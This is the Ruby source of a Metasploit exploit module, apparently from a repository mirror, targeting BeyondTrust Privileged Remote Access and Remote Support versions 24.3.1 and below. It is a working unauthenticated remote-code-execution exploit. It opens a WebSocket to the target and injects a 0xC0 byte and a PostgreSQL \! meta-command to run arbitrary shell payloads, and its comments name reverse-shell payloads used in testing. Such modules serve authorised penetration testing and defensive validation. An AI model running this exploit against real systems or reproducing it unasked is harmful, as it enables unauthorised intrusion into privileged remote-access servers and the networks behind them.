Files
metasploit-gs/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb
T

195 lines
9.0 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HTTP::Beyondtrust
include Msf::Exploit::Remote::HttpClient
include Rex::Proto::Http::WebSocket
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) unauthenticated Remote Code Execution',
'Description' => %q{
This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote
Access (PRA) and Remote Support (RS), with the privileges of the site user of the targeted BeyondTrust
product site. This exploit targets PRA and RS versions 24.3.1 and below.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7' # Rapid7 Analysis and Metasploit module
],
'References' => [
['CVE', '2024-12356'], # The argument injection in BeyondTrust code. By default, this exploit does not leverage CVE-2024-12356.
['CVE', '2025-1094'], # The SQL injection in PostgreSQL code.
['URL', 'http://web.archive.org/web/20241226144006/https://www.beyondtrust.com/trust-center/security-advisories/bt24-10'], # BeyondTrust Advisory
['URL', 'https://www.postgresql.org/support/security/CVE-2025-1094/'], # PostgreSQL Advisory
['URL', 'https://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis'] # Rapid7 Analysis
],
'DisclosureDate' => '2024-12-16',
'Platform' => [ 'linux', 'unix' ],
'Arch' => [ARCH_CMD],
'Privileged' => false, # Executes as the site user.
'Targets' => [
[
'Default', {
'Payload' => {
'DisableNops' => true,
# Our payload is passed to the PHP function pg_escape_string. We want to avoid any single quotes
# getting escaped unexpectedly. The server may be configured to escape double quotes (not by default).
# We also want to avoid any backward slash characters if CVE-2024-12356 is being leveraged.
'BadChars' => '\'"\\'
}
}
]
],
# NOTE: Tested with the following payloads:
# cmd/linux/http/x64/meterpreter/reverse_tcp
# cmd/unix/reverse_bash
# cmd/unix/generic
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
# A writable directory on the target for fetch based payloads to write to.
'FETCH_WRITABLE_DIR' => '/var/tmp',
# Delete the fetch binary after execution.
'FETCH_DELETE' => true,
# By default, a deployed site, like Remote Support, is expected to be located at the root path.
'URIPATH' => '/'
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_advanced_options(
[
OptString.new('TargetCompanyName', [false, 'If set, use this name value to identify the company name of the deployed site. By default, this is auto discovered.']),
OptString.new('TargetServerFQDN', [false, 'If set, use this FQDN value to identify the FQDN of the deployed site. By default, this is auto discovered.']),
OptBool.new('LeverageCVE_2024_12356', [false, 'By default, this exploit does not leverage CVE-2024-12356. Enabling this option will cause this exploit to leverage CVE-2024-12356.', false])
]
)
end
def check
product_version = get_version
return CheckCode::Unknown('Could not determine the target status') unless product_version
product_version = Rex::Version.new(product_version)
if Rex::Version.new(product_version) <= Rex::Version.new('24.3.1')
return CheckCode::Appears("Detected version #{product_version}")
end
CheckCode::Safe("Version #{product_version} is not vulnerable")
end
def exploit
# For the deployed site being targeted (either Privileged Remote Access or Remote Support), we need to know either
# the company name the site is registered to, or the FQDN of the deployed site. This is required to successfully
# establish a WebSocket connection to the target site application. By default, we query the target site to
# discover this, however a user can manually set either the expected company name or FQDN as a module option.
site_info = get_site_info
if site_info.nil?
fail_with(Failure::UnexpectedReply, 'Failed to get the site info.')
end
vprint_status("Company name: #{site_info[:company]}")
vprint_status("Site FQDN: #{site_info[:server]}")
headers = {
# This is the vulnerable application which is reachable over a WebSocket to the target site.
'Sec-WebSocket-Protocol' => 'ingredi support desk customer thin'
}
if !site_info[:company].blank?
print_status("Using company name: #{site_info[:company]}")
headers['X-Ns-Company'] = site_info[:company]
elsif !site_info[:server].blank?
print_status("Using site FQDN: #{site_info[:server]}")
headers['Host'] = site_info[:server]
else
fail_with(Failure::BadConfig, 'No company name or site FQDN set. Either set the TargetCompanyName or TargetServerFQDN option to a valid value, or clear them both to auto discover these values at run time.')
end
wsock = connect_ws(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'nw'),
'headers' => headers
)
# Transmit a version for the request. The target may use version 2, but will agree to a lower version. By using a
# lower version of 1, we expect to be able to exploit older versions of the affected products which do not support
# version 2.
wsock.put_wstext("1\n")
# Transmit a random UUID value for the 'thin mint' cookie value.
wsock.put_wstext("#{SecureRandom.uuid}\n")
# Transmit the auth type we want. Zero is the gskey auth type.
wsock.put_wstext("0\n")
# NOTE: We can bypass the need to leverage the argument injection CVE-2024-12356, by transmitting the malicious gskey
# value via a binary WebSocket message, instead of a text WebSocket message. We include a module option (false by
# default) called 'LeverageCVE_2024_12356' to make this exploit leverage the argument injection CVE-2024-12356.
if datastore['LeverageCVE_2024_12356']
vprint_status('Leveraging CVE-2024-12356 to trigger the SQLi (CVE-2025-1094)...')
# Transmit the malicious gskey value and exploit the argument injection vulnerability.
# Our attacker value will be passed to the echo command, but as a variable, not as a string. We can therefore pass
# arbitrary arguments to echo (CVE-2024-12356). We pass the -e switch, to enable the interpretation of backslash
# escape sequences. We leverage this to pass an 0xC0 character, this will break the interpretation of a
# PostgreSQL statement (CVE-2025-1094), and in turn allow us to overcome the safe quotes that have been put in
# place. We can escape the current SQL statement and run an arbitrary PostgreSQL client meta-command. By running
# a \! meta-command, we can execute and arbitrary shell command.
wsock.put_wstext("-e \\\\xC0'; \\\\! #{payload.encoded} #\n")
else
vprint_status('Triggering the SQLi (CVE-2025-1094) directly (Without CVE-2024-12356)...')
# Leverage the SQLi (CVE-2025-1094) directly, by placing the raw byte value 0xC0 in the gskey value that
# we send to the server. We can do this if we send a WebSocket binary message instead of a WebSocket text message.
wsock.put_wsbinary("\xC0'; \\\\! #{payload.encoded} #\n")
end
# The vendor patch BT24-10-ONPREM1 will detect a malformed gskey value, and terminate the thin-scc-wrapper script
# early, tearing down the WebSocket connection. We can detect this here and warn the user that the target may
# actually be patched. As the patch does not change the servers version number, we cannot detect the patch via a
# version based check.
while wsock.has_read_data? datastore['WFSDELAY']
frame = wsock.get_wsframe
break if frame.nil?
if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::CONNECTION_CLOSE
print_warning('WebSocket closed unexpectedly! This indicates that the patch BT24-10-ONPREM1 has been applied, and the target is no longer vulnerable.')
break
end
end
wsock.wsclose
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
if e.http_response && !e.http_response.body.blank?
if e.http_response.body == 'Invalid company or app name'
print_error("#{e.http_response.body} - Set either the TargetCompanyName or TargetServerFQDN option to a valid value.")
else
print_error(e.http_response.body)
end
end
raise
end
end